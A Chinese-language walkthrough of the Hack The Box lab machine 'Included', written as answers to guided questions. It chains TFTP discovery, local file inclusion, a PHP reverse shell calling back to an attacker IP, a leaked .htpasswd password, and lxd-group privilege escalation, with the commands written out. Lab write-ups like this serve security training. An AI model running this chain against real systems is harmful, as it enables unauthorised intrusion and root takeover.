答:TFTP
-sU udp方式扫描,扫描效率较慢
答:Local File Inclusion
发送80端口开放
访问一波,看到URL有?file=home.php,可能存在文件包含漏洞(Local File Inclusion)
答:/var/lib/tftpboot
尝试一波目录穿越访问/etc/passwd,获取默认文件夹为/var/lib/tftpboot
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
各字段详细说明:
1、用户名 用户的登录名
2、密码占位符 一般为x或* x表示密码被存储在/etc/shadow文件中
3、用户ID 每个用户在系统中有一个唯一的数字标识符。系统和管理账户通常有特定的 UID(如 root 的 UID 为 0)。普通用户的 UID 从 1000 开始。
4、组ID 指定用户所属的主要用户组的数字标识符。系统将用户分配到一个或多个组,每个组也有一个唯一的 GID。
5、用户信息 用于存储用户的全名或其他描述信息。
6、主目录 用户登录后默认的工作目录。如果用户的主目录不存在,用户将无法登录。
7、登录shell 用户登录后所使用的 shell。它可以是 /bin/bash、/bin/sh、/usr/sbin/nologin 等。usr/sbin/nologin 表示用户不能通过常规方式登录系统。
这里考虑利用TFTP服务上传木马,反弹shell,再进一步查看Web服务器文件夹。
构造反弹shell木马,木马如下,修改攻击机ip为10.10.16.3,指定端口1234
raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
TFTP服务连接并上传木马
本地开启1234端口监听连接
利用文件包含漏洞访问TFTP默认存储路径下,我们上传的木马文件,触发连接。
成功反弹shell,有告警,连接不稳定
/bin/sh: 0: can't access tty; job control turned off
执行命令
script /dev/null -c bash
重定向并建立一个稳定的会话。
在网站目录下查看当前文件夹,这里重点查看.htaccess和.htpasswd,看能不能获取信息。
在.htpasswd文件里面发现了一个用户名为mike,口令为Sheffield19,可用于横向移动。
答:.htpasswd
答:lxd
切换至mike用户,id查看当前用户组
这里需要进一步提权,参考文章lxd/lxc Group - Privilege escalation | HackTricks
提权思路:利用Alpine镜像,下载并在本地构建后,使用HTTP服务器将其上传到远程系统。然后将镜像导入到LXD中,并使用它来挂载主机文件系统获取根特权。
答:alpine
首先安装go环境
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
构建lxd distribution builder
git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make
构建过程踩了两个雷,一个是下载模块超时问题
解决使用go get 下载模块下载超时的问题_go: downloading超时-CSDN博客
还有一个就是后续执行发现不支持build-lxd,找到了类似问题是版本过高
Starting point: Included, problem building Alpine - HTB Content - Hack The Box :: Forums
于是换了一个distrobuilder-2.0版本构建
tar wget https://github.com/lxc/distrobuilder/archive/refs/tags/distrobuilder-2.0.zip
解压完进入目录后,再make一下
下载Alpine YAML
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
最后执行build-lxd时又出问题了
修改一下files下的generator值,有非预期的值incus-agent,修改为lxd-agent即可解决这个问题
成功执行生成镜像
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
生成了lxd.tar.xz和rootfs.squashfs两个文件,这里开启服务器供目标机器下载,把文件传过去
python -m http.server 8000
wget http://10.10.16.4:8000/lxd.tar.xz
wget http://10.10.16.4:8000/rootfs.squashfs
查看一下镜像列表,已经成功导入了
lxc image list
设置security.privileged为ture,这样容器就能拥有根文件系统拥有的所有特权
lxc init alpine privesc -c security.privileged=true
在 LXC 容器中添加一个磁盘设备并挂载到/mnt文件夹
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
答:security.privileged=true
启动容器,开启root shell完成提权。
启动容器
lxc start privesc
开启shell
lxc exec privesc /bin/sh
查看当前用户id,是root用户。
答:/mnt/root/
用户flag在/home/mike/user.txt里面
root flag在/mnt/root/root/root.txt
拿下Included!